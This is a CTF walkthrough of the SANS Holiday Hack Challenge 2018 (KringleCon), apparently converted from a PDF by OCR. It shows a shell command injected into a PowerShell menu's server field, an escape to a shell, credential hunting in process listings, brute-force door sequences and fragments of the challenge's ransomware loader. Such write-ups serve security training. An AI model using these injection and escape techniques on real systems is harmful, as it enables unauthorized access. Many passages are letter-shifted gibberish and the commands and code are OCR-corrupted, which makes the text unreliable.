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A ESIINT

Jouspevduj po

As you walk through the gates, a familiar red-suited holiday figure warmly welcomes all of
his special visitors to KringleCon.

Welcome, my friends! Welcome to my castle! Would you come forward please?

Xfmdpnf//!Jutt/!ojdf!/up!ibwfl!lzpv!ifsf
to be such an exciting day!

1 hope you enjoy it. 1 think you will.

Today Is the start of KringleCon, ournew conference for cyber security
practitioners and hackers around the world.

KringleCon is designed to share tips and tricks to help leverage our skills to
make the world a better, safer place.

Remember to look around, enjoy some talks by worldclass speakers, and
mingle with our other guests.

And, if you are interested in the background of this con, please check out Ed
T/ pvejtyt!ualbrmlicdbmmf e

Delighted to meet you. Overjoyed! Enraptured! Etranced! Are we ready?
Yes! In we go!

o
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https://youtu.be/31JsKzsbFUo
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Question 1

What phrase is revealed when you answer all of the

? For hints on achieving this objective, please visit Bushy Evergreen and help him
with the Essential Editor Skills Cranberry Pi terminal challenge

Answer:

Well done!

Question 2

Who submitted (First Last) the rejected talk titted Data Loss for Rainbow Teams: A Path in

the Darkness? . For hints on achieving this objective,

please visit Minty Candycane and help her with the The Name Game Cranberry Pi terminal
challenge.

Answer:
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https://www.holidayhackchallenge.com/2018/challenges/osint_challenge_windows.html
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Question 3

The KringleCon Speaker Unpreparedness room is a place for frantic speakers to furiously
complete their presentations. The room is protected by a door passcode. Upon entering the
correct passcode, what message is presented to the speaker? For hints on achieving this

objective, please visit Tangle Coalbox and help him with theLethal
ForensicEL Fication Cranberry Pi terminal challenge

Answer:

NI=] (<1539

Suddenly, all elves in the castle start looking very nervous. You can overhear some of them
talking with worry in their voices.

~
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https://doorpasscoden.kringlecastle.com/

Bl e

Question 4

Retrieve the encrypted ZIP file from the . What is the password to
open this file? For hints on achieving this objective, please visit Wunorse Openslae and help

him with Stall Mucking Report Cranberry Pi terminal challenge

Answer:

Mbej ft! boe! Mif@ojufmf!ntf e/ Hf o

Evflup!uif! Opsui! Qpmfit! mfht
around the globe they are about to be taught a lesson in the
real use of POWRR.

You will be witnesses.

Opx-!TboubZ/ ui bu(t!b!’ojdr’t
have two myself. Rumor has it Alabaster buys his there.

| have comrades in arms around the world who are
languishing in prison. The Elvin State Department enjoys
rattling its saber for its own ends. Now it can rattle it for ME.
The following people are to be released from their capltors.

In the Dungeon for Errant Reindeer, the seven members of the
New Arietes Front.

In Whoviille Prison, the imprisoned leader of ATNAS
Corporation, Miss Cindy Lou Who.

In the Land of Oz, Glinda the Good Witch.
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https://git.kringlecastle.com/Upatree/santas_castle_automation

Question 5

Using the data set contained in this SANS Slingshot Linux imags, find a reliable path from a

Lf scfspbtubcmf!vtfs!up! ui fdiEfp!nwtjfod {Btelnmmph d d!sph/mf/!
username@domain.tld format)? Remember to avoid RDP as a control path as it depends on

separate local privilege escalation flaws. For hints on achieving this objective, please visit
Holly Evergreen and help her with theCURLIng Mester Cranberry Pi terminal challenge

Answer:

Links. Nein! Nein! Nein!

No one Is coming to help you.

Get the over here!

Schnell!

‘NOW | HAVE A ZERO-DAY. HO-HO-HO.*
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Question 6

Bypass the authentication mechanism associated with the room near Pepper Minstix.
. What is the access control number revealed by

the ? For hints on achieving this objective, please visit Pepper
Minstix and help her with the Yule Log Analysis Cranberry Pi terminal challenge.

Answer:

Tp-!zpviwf!lgj lysfel! mpw
freeing those prisoners.

The toy soldliers and | are here to steal the contents
pg! Tboubtt! wbvmu

You think that after all my posturing, all my little
tqgffdift-ruibu!/Jdfrn!/opui

But, | tell you--1 am an exceptional thief.

And since I've moved up to kidnapping all of you,
you should be more polite!

Question 7

Santa uses an Elf Resources website to look for talented information security

professionals. and fetch the
document C:\candidate_evaluation.docx. Which terrorist organization is secretly supported

by the job applicant whose name begins with "K"? For hints on achieving this objective,
please visit Sparkle Redberry and help her with theDev Ops FailCranberry Pi terminal
challenge. .

Answer: Zpviwf!leyg
in foiling me!
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Question 8

Santa has introduced a web-based packet capture and analysis tool to support the elves

and their information security work. Using the system, access and decrypt HTTP/2 network
activity. What is the name of the song described in the document sent from Holly Evergreen
to Alabaster Snowball? For hints on achieving this objective, please visit SugarPlum Mary and
help her with the Python Escape from LA Cranberry Pi terminal challenge.

Answer:

Question 9

Alabaster Snowball is in dire need of your help. Santa's file server has been hit with
malware. Help Alabaster Snowball deal with the malware on Santa's server by completing
several tasks. For hints on achieving this objective, please visit Shinny Upatree and help him
with the Sleigh Bell Lottery Cranberry Pi terminal challenge

To start, assist Alabaster by accessing (clicking) the snort terminal below:

Then create a rule that will catch all new infections. What is the success message displayed
by the Snort terminal?

Answer:

Thank you so much! Snort IDS is alerting on each new
ransomware infection in our network.

Hey, you're pretty good at this security stuff. Could you
help me further with what | suspect is a malicious Word
document?

All the elves were emailed a cookie recipe right before
all the infections. Take this with a password
of elves and find the domain it communicates with.
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https://packalyzer.kringlecastle.com/
https://www.holidayhackchallenge.com/2018/challenges/CHOCOLATE_CHIP_COOKIE_RECIPE.zip

Question 10

After completing the prior question, Alabaster gives you a document he suspects
downloads the malware. What is the domain name the malware in the document

downloads from?

Answer:

function wanc {

$51 = "1f2heBARARBABAERARIARAD36T767621
if ($null -ne ((Resolve-Dnshame -Na
if ($(netstat -ano | Select-String "
$p_k = [System.Convert]::FromBase64S
b k = ([System.Text.Encoding]: :Unic
$hk = $(B2H 3b_k)
$k_h = $(sh1 $h k)
Spk e k = (p_k e bk $p k).ToStrin
$c_id = (snd k $p_k e k)
$0_t = ((9(Get-Date).ToUniversalTing
[array]$f c = $(Get-ChildTtem *.elfd
endfbk §f c §true
(lear-variable -Name "h k"
(lear-variable -Name "b k"
$lurl = ‘http://127.0.0.1:8088/"
Shiml ¢ = @
'GET /' = $(g_o dns (A2H “source.m
'GET [close' = '¢(pyByel¢/py'}
Start-Job -ScriptBlock{

paran($url)

Start-Sleep 10

Add-type -As--

starf

DECRYPT KEY ->

Erohetfanu.com, | wonder what that means?

Unfortunately, Snort alerts show multiple domains, so blocking

that one won't be effective.

| remember another ransomware in recent history had a
killswitch domain that, when registered, would prevent any

further infections.

Perhaps there is a mechanism like that in this ransomware?
Do some more analysis and see if you can find a fatal flaw and

activate it!
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alware source code to find a kill-switch and activate it at the North Pole's
HoHoHo Daddy.

entence text that appears on the domain registration success message

Yippee-Ki-Yay! Now, | have a ma... kilswitch!

Now that we don't have to worry about new
infections, | could sure use your L337 security
Skills for one last thing.

As | mentioned, | made the mistake of analyzing
the malware on my host computer and the
ransomware encrypted my password database.

Take this  with a memory dump and my
encrypted password database, and see if you can
recover my passwords.

~ -0 - Challenge 2018 - bytenibbler m 1 H
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https://hohohodaddy.kringlecastle.com/index.html
https://www.holidayhackchallenge.com/2018/challenges/forensic_artifacts.zip

Question 12

After activating the kill -switch domain in the last question, Alabaster gives you a zip file with
a memory dump and encrypted password database. Use these files to decrypt Alabaster's
password database. What is the password entered in the database for the Vau/t entry?

Answer:

You have some serious skills, of that |
have no doubt.

There is just one more task | need you
to help with.

There is a door which leads to Santa's
vault. To unlock the door, you need to
play a melody.

Question 13

Use what you have learned from previous challenges to open thedoor to Santa's vault,
What message do you get when you unlock the door?

Answer:

I'm seriously impressed by your security skills!

How could | forget that | used Rachmaninoff as
my musical password?

Of course, | transposed it before | entered it
into my database for extra security.
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https://www.holidayhackchallenge.com/2018/challenges/forensic_artifacts.zip
https://pianolockn.kringlecastle.com/

Jutt! b/ gmfbtvsfr .

Congratulations.

You DID IT! You completed the lardest challenge. You see, Hans and the
soldliers work for ME. | had (o test you. And you passed the test!

You WON! Won what, you ask? Well, the jackpot, my dear! The grand and

glorious jackpot!
You see, | finally found you!

/ came up with the idea of KringleCon to find someone like you who could
help me defend the North Pole against even the craftiest attackers.

Ui but t! xi z! x fdifarebtecliallepgbsritis gear.
We needed to find someone with skills all across the spectrum.

| asked my friend Hans to play the role of the bad guy to see if you could
solve all those challenges and thwart the plot we devised.

And you did!

Oh, and those brutish toy soldiers? They are really just some of my elves in
disguise.

See what happens when they take off those hats?

o
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Cbtrfe!/’po!zpvs! wjdupszZ!
for your help in defending my whole operation from
evil bad guys.

And welcome to my vault room. Where's my
treasure? Well, my treasure is Christmas joy and
good will.

You did such a GREA Tjob! And remember what
happened to the people who suddenly got
evenything they ever wanted?

They lived happily ever after.

Question 14

Who was the mastermi

If you would like to subm
SANSHolida yHackCha'/e

/

eased 0 by emailing it to.

\

Answer:

W
ol e g

s v
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Welcome to KringleCon!

Greetings, holidaytravellers! Welcome to the North Pole for KringleCon, the first-ever cyber
security conference hosted by Santa and his elves inconjunction with the SANS Holiday
Hack Challenge 2018.

As you enter the North Pole and visit Santa's castle, make sure you stop by Santa himself
along the way. After you chat with Santa inside the gate in front of the castle, your
KringleCon badge on your avatar will be populated with a series of objectives for the

Holiday Hack Challenge. Just click on your badge to see the objectives for you to achieve as
you attend KringleCon.

Also, please do keep an g/e on your badge for updates on the narrative and various
happenings around Santa's castle during the con! Gosh, we are hoping for a fun event this
year without nefarious holiday capers impacting us.

Here are some tips to get you exploring:

f Bounce around the environment using the mouse or the arrow keys

The chat bar is located on the bottom of the screen, and the pane on the right shows
messages from nearby players

Focus the chat by hitting Enter, then typing your message

Send the message by hitting Enter

Scroll the chat pane to view the latest message

Use the menu at the top right to access your profile and edit your avatar, log out, hide
the chat, or mute the music (who would ever want to do that?!)

=

e — ==

New [Narrative] Unlocked: |
Click here to see this item in your badge.
Note: See Agpendix A for full Narrative

Challenge 2018 - bytenibbler F-’l
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You can't enter the
castle until you
speak to Santa!

Welcome, my friends! Welcome to my castle! Would you aome
forward please?

Xfmdpnf/ /! Jutt/!ojdf!/up!ibwf!zpv!/,
is going to be such an exciting day!
| hope you enjoy it. | think you will.

Toaday is the start of KringleCon, our new conference for cyber security
practitioners and hackers around the world.

KringleCon is designed to share tjps and tricks to help leverage our
Skills to make the world a better, safer place.

Remember to look around, enjoy some talks by worldclass speakers,
and mingle with our other guests.

And, if you are interested in the background of this con, please check
pvu! Fe! T/ pvejtt!ubml/! dbmm

Delighted to meet you. Overjoyed! Enraptured! Entranced! Are we
reaady? Yes! In we go!

Oh, and as you enjoy the conference, click on your badge to see a
series of objectives for you to conquer!

New [Objective] Unlocked: 1) Orientation Challenge!
New [Objective] Unlocked: 2) Directory Browsing!
New [Objective] Unlocked: 3) de Bruijn Sequences!
New [Objective] Unlocked: 4) Data Repo Analysis!
New [Objective] Unlocked: 5) AD Privilege Discovery!
New [Objective] Unlocked: 6) Badge Manipulation!
New [Objective] Unlocked: 7) HR Incident Responsel
New [Objective] Unlocked: 8) Network Traffic Forensics!
Easter Egg: New [Objective] Unlocked: 9) Ransomware Recoveryl!

Tt S e S New [Obiective] Unlocked: 10) Who Is Behind It All?!
Click here to see this item in your badge.

~
Challenge 2018 - byrenibbler \ @

COUNTER
HACK




ROl B Bl B Bl

After receiving your badge ‘ from Santa. You can now enter the castle and complete the
unlocked Objectives. You can also access the Narrative, the Hints from the elves, the
different Talks in KringleConand your Achievements list.

< GO BACK

KringleCon © 1) Orientation Challenge

2) Directory Browsin
Narrative [1 of 12] © ) y J

Objectives @ 3) de Bruijn Sequences
Hints @ 4) Data Repo Analysis
Talks @ 5) AD Privilege Discovery
Achimemnion & 6) Badge Manipulation
bR @ 7) HR Incident Response

© 8) Network Traffic Forensics

© 9) Ransomware Recovery

& 10) who Is Behind It All?

Now that we understand the basics of the Holiday Hack Challenge. It is time to venture
inside the castle and proceed in completing the challenges that lie ahead to finally unravel
Who Is Behind It All And most importantly, have fun!

L ol '
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QYjective 1. Orientation Challenge
Difficulty: Y55y Yoo

What phrase is revealed when you answer all of the questions at the KringleCon Holiday
Hack History kiosk inside the castle? For hints on achieving this objective, please visit
Bushy Evergreenand help him with the Essential Editor Skills Cranberry Pi terminal
challenge.

The kiosk is at the right side of the staircase when you enter the castle.
Bushy Evergeen is nearby with a Cranberry Pi challenge for the hints.

Mf u éetwhat Bushy Evergreen has to sayfirst. Seems like Bushy is

New [Hint] Unlocked: Vi Editor Basics!

Click here to see this item in your badge.

CO0000000000000, , 4 4 4 5 3 3 » ; 00000000000000100000C, , . .
CO0000000000000, , 4 4 4 5 3 3 » ; 000000000000001 00000C .
CO0000000000000, , 44,5 3 5 » ; 000000000000001 0000 .
CO0000000000000, , 4 4, 5 5 5 » 3 00000000000000100;
:11111171111111, ;1111311131111 1,

I'm in quite a fix, I need a quick escape.
Pepper is quite pleased, while I watch here, agape.
er editor's confusing, though "best™ she says - she yells!
lesson one and your role is exit back to shellz.

Challenge 2018 - bytenibbler (U:m
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Looks like what Bushy needs to do is follow these steps:

1. Press Esc

2. Press Shift +; for a . (colon) and your cursor should jump to a colon prompt

3. Finally, enterq!
Note: This will quit the ediitor without saving any changes made.

Loading, please wait

ou did it! Congratulations!

e New [Achievement] Unlocked: Essential Editor!
Click here to see this item in your badge.

Bushy seems pleased that you helped with the Vi (Essential Editor) problems. As a token of
his appreciation, the elf provided information about Past Holiday Hack Challenges to help
answer the KringleCon kiosk questions for Objective 1. (2)

New [Hint] Unlocked: Past Holiday Hack Challenges!
Click here to see this item in your badge.

KringleCon Kiosk Questions

With the information from past challenges we can now answer the questions to get the
secret phrase!

Angwer af] questions correct|y
to get the Secret Phr’age!

Challenge 2018 - bytenibbler ﬁ‘m E
()

COUNTER




QueStion 1

In 2015, the Dogis siblings asked for help
understanding what piece of their "Gnome
in Your Home" toy?

Firmware
O Clothing

O Wireless adapter
O Flux capaciter

QueStion 3

In 2016, participant§ were Sent offena
preblem-elving quest based en what
artifact that Santa eft?

O Tem-tom drumg
O DNA on a mug of milk,
O Cookje crumbs

> Buginess card

Question b

In 2017, the North Pele wag beihg
bembarded by giant ebjects. What were
they?
O TCP packets

Snowballs

O Migfit toys
®) CQMJ cane§

QueStion 7

In 2015, the Degis siblings disagsembled the
congpiracy dreamt up by which
corperation?
O Elgnirk

ATNAS
O GIYH

O Savvy, Inc

Question 4

Tn 201¢, Linuy terminals at the Nerth Pele
COHM be aCCCSSC(l with what [&ih(l Of
computer?

O Snezberry Pi

O Blueberry Pi
Cranberry Pi

O Elderberry Pi

Question ¢

In 2017, Sam the Snewman needed help

reas§embling pages torn from what?
O The Bash man page
O Scrooge's payro]l [edger
O System swap space
'The Great ook,

Happy Trail§

The revealed phrase of Objective 1:

New [Achievement] Unlocked: Orientation!

Click here to see this item in your badge.

o
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Objective 2. Directory Browsing
Difficulty: YIS TS

Who submitted (First Last) the rejected talk titled Data Loss for Rainbow Teams. A Path in

the Darkness? . For hints on achieving this objective,
please visit Minty Candycane and help her withthe The Name Game Cranberry Pi terminal
challenge.

Easter Egg:
Anerkannter Sicherheitsexperte
Is German for

Recognized Security Expert

KRINGLECON CALL
FOR PAPERS
KeingleCon i the nly North Pole conference to feature ‘& CHRIS DAVIS
?..:f

speakers from around the world. Apply now!
Anerkannter Sicherheitsexperte

The link appears to be the KringleCon Call For Papers applicationsite for speakers around
the world. The objective is to identify the author of the rejected paper entitled: Data Loss for
Rainbow Teams. A Path in the Darknes$ The goal now is to look for a repository of papers
either hosted/stored within the CFP site.

Minty Candycane at the left side of the entrance appears to know more about the site. Talk
to her and see what she has to offer.

New [Hint] Unlocked: PowerShell Command Injection!

New [Hint] Unlocked: SQLite3 .dump'ing!
Click here to see this item in your badge.
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https://cfp.kringlecastle.com/

Cranberry Pi Challenge2 The Name Game

e just hired this new worker,
alifornian or New Yorker?
ink he's making some new toy bag...
job is to make his name tag.

olly pee, I'm glad that you came,

I recall naught but his last name!

se gur system or your own plan,

Find the first name of our guy “"Chan!"”
-Bushy Evergreen

o solve this challenge, determine the new worker®s first name and submit to runtoanswer.

SANTA'S CASTLE EMPLOYEE ONBOARDINMNG

1 to start the onboard process.
2 to verify the system.
gq to quit.

Please make a selection:

Njouz!tvhhftu! mppljoh!bu! Tboubtt! Dbt umf! Pocpbse
employee withthe mb t u! o Oh b arfghe Jiso believes that the system is written in

Powershell and uses SQLite3 database. Maybe there is a way to verify if Sqlite3 is being

used, we know that in Powershell, there is a call operatorT ' thét allows you to execute a

command, script or function. (3)

Selecting option 1 brings you to an onboarding form that does not present a suitable way to
use the call operator. It does confirm that S QLite is available on the system.

Save to sglite DB using command line

Press Enter to continue...:
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Opx!usz!pqujpo!3/1Ju!jt!btljoh!gps!b!tfswfs!bee

localhost/127.0.0.1 and see what happens.

alidating data store for employee onboard information.
Enter address of server: localhost
PING localhost (127.8.8.1) 56(84) bytes of data.
4 bytes from localhost (127.8.8.1): icmp seq=1 ttl=64 time=8.846 ms
4 bytes from localhost (127.8.8.1): icmp_seqg=2 ttl-64 time=0.845 ms
4 bytes from localhost (127.8.8.1): icmp_seq=3 ttl-64 time=08.851 ms

--- localhost ping statistics ---

3 packets transmitted, 3 received, 8% packet loss, time 2854ms
rtt min/favg/max/mdev = 8.845/6.0847/8.851/8.886 ms

onboard.db: SQLite 3.x database

Press Enter to continue...:

This is interesting, it is a Linux ping command that ends by giving us the SQLite version
(SQLite 3.x)and the name of the database (onboard.db). Try to append the call operator 7 * U
to localhost with a simple 7 mo & T

alidating data store for employee onboard information.
Enter address of server: localhost & 1s -la

root root 4896 Dec 14 16:17 ..

elf 228 Aug 31 2015 .bash logout
root root 95 Dec 14 16:13 .bashrc
elf elf 4896 Dec 38 28:58 .cache

elf 4896 Dec 30 28:58 .local

root root 3866 Dec 14 16:13 menu.psl
root root 24576 Dec 14 16:13 onboard.db
elf elf 655 May 16 2817 .profile
- WX - X -3 root root 5547968 Dec 14 16:13 runtoanswer
4 bytes from localhost (127.8.8.1): icmp_seg=1 ttl-64 time=8.839 ms
onboard.db: SQLite 3.x database
Press Enter to continue...: 64 bytes from localhost (127.8.8.1): icmp seg=2 ttl-64 time=0.869 ms

So, the Powershell script is called menu.ps1. Doing a & catlbn the psi file displays a
hidden menu option.

loyee-Onboarding-Form

P2 o

Opl‘l'an Z'u‘hat ca//s a f$server = Read-Host 'Enter address of server’

/bin/bash -c "/bin/ping -c 3 $server”

PaWE’She’Ipfompl‘. /bin/bash -c "/usr/bin/file onboard.db"

} o {
fusr/bin/pwsh
return
}rat {
return
} default {
Write-Host "Invalid entry.”

¥
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Use the hidden menu option to gain access to a Powershell prompt. This will give us the
chance to dump the SQLite3 database to a text file, so we can searchforf Ns / /.Di b o U

Press 1 to start the onboard process.
Press 2 to verify the system.
Press g to quit.

Please make a selection: 9
erShell v6.8.3
opyright {c) Microsoft Corporation. All rights reserved.

https:f/aka.ms/pscore6-docs
ype "help' to get help.

JShome/felf>

Opx!evnqg!uif!pocpbse/SQtitedprpfid) uf yu! gj mf! vtjoh! T
Shome/elf> sgqlite3 onboard.db .dump > onboard.txt

Use grepon the text file to reveal the name of TNs / /.Di bo U

S /home/elf> cat ./onboard.txt | grep chan
INSERT INTO “onboard™ VALUES(24,'Scott’,’'Chan’, '48 Colorado Way'

33589° , "scottmchan98e67@gmail .com” ) ;

Great SCOTT!!! Finally, execute the command/runtoanswer for Minty Candycane.

PS /home/elf> ./runto
Loading, please wait.

Enter Mr. Chan's first name: Scott CheCk OU[Appendl'XB
for an alternative way to
solve this challenge

OMMMMMMMMMMMMIW: . SMMMES MM L L L 1W0

OMMMMMMMMMMMMO - OMMIWXMML TNMMADAK L XMMMO MMMM.

OMMMMMMMMMMMMX. . COWMN. "MMMMMMM; - WMMMMMC KMMM. .

OMMMMMMMMMMMMMMK O, KN ,MMMMMMM, WMMMMMc @ KMMM. .

OMMMMMMMMMMMMIENMMMO - oM, dWMMWOWK  cWMMMO L MMMM. E o

OMMMMMMMMMMMMC ... clWMW1. .. .NMk. .. .oMMMMM. .MMMMMMM, . MMMMMMMMMMMMMMMI
30CO00CCO0OCXK0xkeX200000ek kkIRCOOMXK Ok KDOCOOOXK OI0CCO00OH 0800000000000

New [Achievement] Unlocked: The Name Gamel
ToArE T Click here to see this item in your badge.
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Getting The Directory Listing

Helping Minty gives you an insight that sometimes websites have file listing enabled which
usually occurs on misconfigured websites. Finding browsable directories is sometimes as
simple as removing characters from the end of a URL. (5)

New [Hint] Unlocked: Finding Browsable Directories!

New [Hint] Unlocked: Website Directory Browsing!
Click here to see this item in your badge.

Using the hints from Minty let us try to manipulate the URL of the CFP site by removing
cip.html and see if we can get a directory listing of /cfp.

[ Index of /cfp/ X .
<« - C 0

s/ /cfp.kringlecastle.com

Index of /cfp/
C'F’ html @8-Dec-2818 13:19 3391
rejected-talks.csv @8-Dec-2818 13:19 3IBETT

The Rejected Talker

Download and open the CSV fileto browse through the list and search for /Data Loss for
Rainbow Teams: A Path in the Darknesd/ Just use any editor you are comfortable with.

s//cfp.kringlecastle.com

talkCandidateId, request,payload, status\E=non S 1metutl M BleNEn , et Nawed |t BslliRame , approveVotes, rejectVotes
gqmtl,e,3040422,20@,FALSE, FALSE, [ P |arkct1rg Coordinator,Ker —1 Inflo pection Spearphishing: Massively Multithre
qmt2,1,8848423,200,FALSE, FALSE) x,Event Planner,Crypto or Containers: Abused for Fun and Proft,4,8
qmt3,2,8048424,200,FALSE, FALSE, ]ahnIIIC\_lan IDlr‘cC‘tDI of Security,Data Loss for Rainbow Teams: A Path in the Darkmess,1,11
qmtd, 3,8040425,200,FALSE, FALSE,Q p,Analyst,Industrial Control Systems Content Filtering: Distributed,5,7
Aww, our good friend had his talk rejected. (By Hans, maybe?!?)

New [Achievement] Unlocked: Directory Browsing!
Click here to see this item in your badge.
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Objective 3. De Bruijn Sequences

Difficulty: ¢ 757

When you break into the speaker unpreparedness room, what does Morcel Nougat say? For
hints on achieving this objective, please visit Tangle Coalbox and help him with Lethal
ForensicEL Fication Cranberry Pi terminal challenge.

From the main entrance hallway, head towards the large Christmas tree and climb up the
staircase to the right. Once you reach the Tracks landing, hop your way to the right until you
see a locked door withthesign 7 Tgf b/ f s/ VOgsfqbsfeoftt! SppnU

S}’eaﬁef ?&N}:’Y?}’afeclness g{oom

Up! vompdl!l ! ui f! epps - dorxett segquenceférthe DoorpPasscada.f s ! ui f !

lalgjojx

Talk to Tangle Coalbox and see if he can help us with the sequence to unlock the door.

Any chance you can help me with an investigation?

EIf Resources assigned me to look into a case, but it
seems to require digital forensic skills.

Do you know anything about Linux terminal edjtors
and digital traces they leave behind?

Apparently, editors can leave traces of data behind,
but where and how escapes me!

New [Hint] Unlocked: Vim Artifacts!

Click here to see this item in your badge.
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hristmas is coming, and so it would seem,
ER (Elf Resources) crushes elves®' dreams.
One tells me she was disturbed by a bloke.
e tells me this must be some kind of joke.

Please do your best to determine what's real.
as this jamoke, for this elf, got some feels?

Lethal forensics ain't my cup of tea;

If YOU can fake it, my hero you'll be.

One more quick note that might help you complete,
learing this mess up that’'s now at your feet.
ertain text editors can leave some clue.

Did our young Romeo leave one for you?

- Tangle Coalbox, ER Investigator

Find the first name of the elf of whom a love poem
was written. Complete this challenge by submitting
that name to runtoanswer.

o1 f@1efb794b7d61 : ~%

| nnZ! b! ,gignédby Morcel Nougat, found in a hidden directory 7/ t flleédgfpuf n/ uy u U
is making elves uneasy. He denies writing the poem, so Tangle is asking youto find tangible
evidence to prove his innocence. Refer to Appendix C to view the full textof the poem.

The .viminfo file is a special fil e used to remember information that would otherwise be lost
when exiting vim. It essentially operates like a cache file in which vim persistently stores
buffer information. (6)

21f@62d93a0d3fdf:~$ 1s -la

elf elf 4096 Dec

root root 4896 Dec .e

elf elf 419 Dec .bash_history
elf elf 228 May .bash_logout

elf elf 675 May .profile
elf elf 4896 Dec secrets
elf elf 5863 Dec .viminfo

1

1

1

1

1 elf elf 3548 Dec .bashrc

1

1

1

1 elf elf 5551872 Dec runtoanswer
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Looking inside the .viminfo file we can check the File Marks section to see the files opened
with vim. (Newest to oldest)
File marks:

'8 34 2 ~/.secrets/her/poem.txt
|4,48,34,2,1536607231, "~/ . secrets/her/poem. txt"

1 24 B8 ~/.secrets/her/poem.txt
|4,49,24,8,1536606844, "~/ . secrets/her/poem. txt"
'2 24 B8 ~f_secrets/her/poem.txt
|4,58,24,8,1536606844, "~/ . secrets/her/poem. txt"

It appears that the poem.txt was frequently opened. Take note of the long integer right next
to the poem.txt file mark. In viminfo the number 1536607231 is an EPOCHepresentation of
theg ] mf ! aate and time which is equates to 10 Sep 2018 19.30.31 UTC

Timestamp Converter

1536607231

Is equivalent to:

Epoch Unix Time Stamp Converter:

Now correlating 1536607231 with the other fields we can immediately see that the last
Command Lineissued that correlates with the same time is x r Which stands for Write
and Quitunder the user profile f Fmj .op s f U

e1f@336b8%a2bf16:~% ./runtoanswer
Loading, please wait......

R | Ycccogozoos
13CCC el
23 EERE:
I ol -
13200,
“33C0,

ank you for solving this mystery, Slick.
Reading the .viminfo sure did the trick.
Leave it to me; I will handle the rest.

ank you for giving this challenge your best.

-Tangle Coalbox
-ER Investigator

ongratulations! New [Achievement] Unlocked: Lethal ForensicELFication!
Click here to see this item in your badge.
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Door Passcode

The funny shapes reminded Tangle ofthe [ e f / Cs v j k o.1t i & sequénoedtfatrvdstly
reduces the time it takes to brute force every possible sequence on the door code. (7)

New [Hint] Unlocked: Opening a Ford Lock Codel
Click here to see this item in your badge.

Using the de Buijn sequence formula on the door code, generate a sequence for the four
unique shapes [ /with the length of four combinations @ UFormula k&= 4”4 = 256

New [Hint] Unlocked: de Bruijn Sequence Generatorl
Click here to see this item in your badge.

Sequence:

10002000300110012001300210022002300310032003301010201030111011201130
1210122012301310132013302020302110212021302210222022302310232B30303110
3120313032103220323®B310332033311112111311221123113211331212131222122312
3212331313221323133213332222322332323333(000)

Starting at Z follow the sequence order by clicking the corresponding shapes on the
door code.

Example: =AAAA (CIickAfour times)
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New [Narrative] Unlocked: |

New [Narrative] Unlocked: |
Click here to see this item in your badge.

Note: Double unlock! See Appendix A for full Narrative

1 have comrades in arms around the world who are
languishing in prison. The Elvin State Departrment enjoys
rattling its saber for its own ends. Now it can rattle it for

ME. The following people are to be released from their
captors. Seven members of the the New Arétes Font,
Miss Cindy Lou Who and Glinda the Good Witch.

The castle is suddenly on lockdown and Hans appears to be the mastermind. Now enter the
Speaker UNpreparedness Roomand speak to Morcel Nougat to find what is going on.

Answerthe fef / Csvj k odbjgdivewithod f t U

New [Achievement] Unlocked: de Bruijn Sequencesl!
Click here to see this item in your badge.
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Objective 4. Data Repo Analysis

Difficulty: kY 7

Retrieve the encrypted ZIP file from the North Pole Git repository. What is the password to
open this file? For hints on achieving this objective, please visit Wunarse Openslae and help
him with Stall Mucking Report Cranberry Pi terminal challenge

«» Shinny Upatree f santas_castle = .

T AN AN & hiips//gitkringlecastle.com
& GitLab Projects Groups  Smippets  Help Search or jJump to... Q

I _castle_automation » Details

S santas_castle_autom...

£ Project s santas_castle_automation @ pubiic ® LICENSE
Project ID: 15

Details

Activity 0 1 Star HTTPS =  https://fgit.kringlecast] ]

O Issues 0 master santas_castle_automation History Q Findfile & -

The link leads you to a project in GitLab called santas_castle_automation/ ! Xf t mm! of f e! up
for an encrypted ZIP file and look for a password to open this file. Find the elf Wunorse

Openslaeinside the castle to get hints for this challenge. Head back down to the main

entrance and hop past Bushy Evergreenand the KringleCon Swag Boothto meet up with

Wunorse.

Hi, I'm Wunorse Openslae
What was that password?

Golly, passwords may be the end of all of us. Good
guys can't remember them, and bad guess can
guess them!

I've got to upload my chore report to my manager's
inbox, but | can't remember my password

New [Hint] Unlocked: Plaintext Credentials in Commands!
Click here to see this item in your badge.
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https://git.kringlecastle.com/Upatree/santas_castle_automation

HOKK
JOOKX JOUKX
RECOOOOK XK
COOOOCOOCCOCCOOO0OCCOCOOO0KX
POOCCOCOOO0OOCOO0O
KNIWIIN NXCCOOOOOCCKNNWIWN
(WPMMMMMMICCOOCOCOC WMMMMMMN
WMMMMMMMMISOOCOOMWMMMMMMMMEILL
NMMMMMMMMMULECOCOMMMMMMMMMIDOCK
OXCCCKNMMMMMMMMMMDOCOCCNMMMMMMMMMILOO0C
FOCOONMMMMX ] © dWWDOOONMX : dWMMMILOOCK
POCCOCINMMMo KNXOOOKKXNO  KMMMMROOCOOK
SOCCOOCKNIMMB I NEOOOCOOCKNB ICXMMIWNDCOO0CK
OOCCOOOOOMNNNNOCCKR X KOCCOM NNNXOOCOOOOOK
020000000000
OCCOOOOO00OCOOMX . CHOOCOOCOOOO0CK
HOCCOO0O0000C00CN 1 TIOCOOCCOOCO00000K
ROCOOOOOOOOCCOCCOOOOOOCOCCOOOON00O0K

DOOOOCOOCOOCCOOOOOCCOCOOO0OMXXK

hank you Madam or Sir for the help that you bring!
I was wondering how I might rescue my day.
Finished mucking out stalls of those pulling the sleigh,
report is now due or my KRINGLE's in a sling!

here’s a samba share here on this terminal screen.

hat I normally do is to upload the file,

ith our network credentials (we'wve shared for a while).
hen I try to remember, my memory's clean!

Be it last night's nog bender or just lack of rest,
For the life of me I can't send in my report.

ould there be buried hints or some way to contort,
aining access - oh please now do give it your best!

-Wunorse Openslae

Wunorse has forgotten the shared credentials for the samba share on this terminal. He
hinted that there were automated tasks for the upload. If the script is still running, maybe
the entire command might still be visible and expose passwords in clear text. (8)
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CMD
/binfbash /sbin/init

sudo -u manager /home/manager/samba-wrapper.sh --v
sudo -E -u manager fusr/bin/python /home/manager/r
sudo -u elf /bin/bash

/binfbash /home/manager/samba-wrapper.sh --verbosi
fusr/bin/python fhome/manager/report-check.py
/bin/bash

fusr/sbin/smbd

Jfusr/sbin/smbd

fusr/sbin/smbd

fusr/sbin/smbd

sleep 68

ps -ef

anager
a1
el f@e193d2abaabh :~$

3888383838888
gees383838883
2828388838888

1 The elfuser is just our current bash shell and ps command

1 Inspecting the manageruser shows that it is running a samba-wrapper.sh and report-
check.py using the manager profile which we do not have permission to view

1 Interestingly, the root user is also running several processes for the elf and manager
UID. Focusing on the time, it appears that they all started at the same time when the
session began which indicates that this can be part of /sbin/init . (the grandparent of
bmm! ui f!' gspdfttft*! Mfutt!difdl!ju!pvu?z

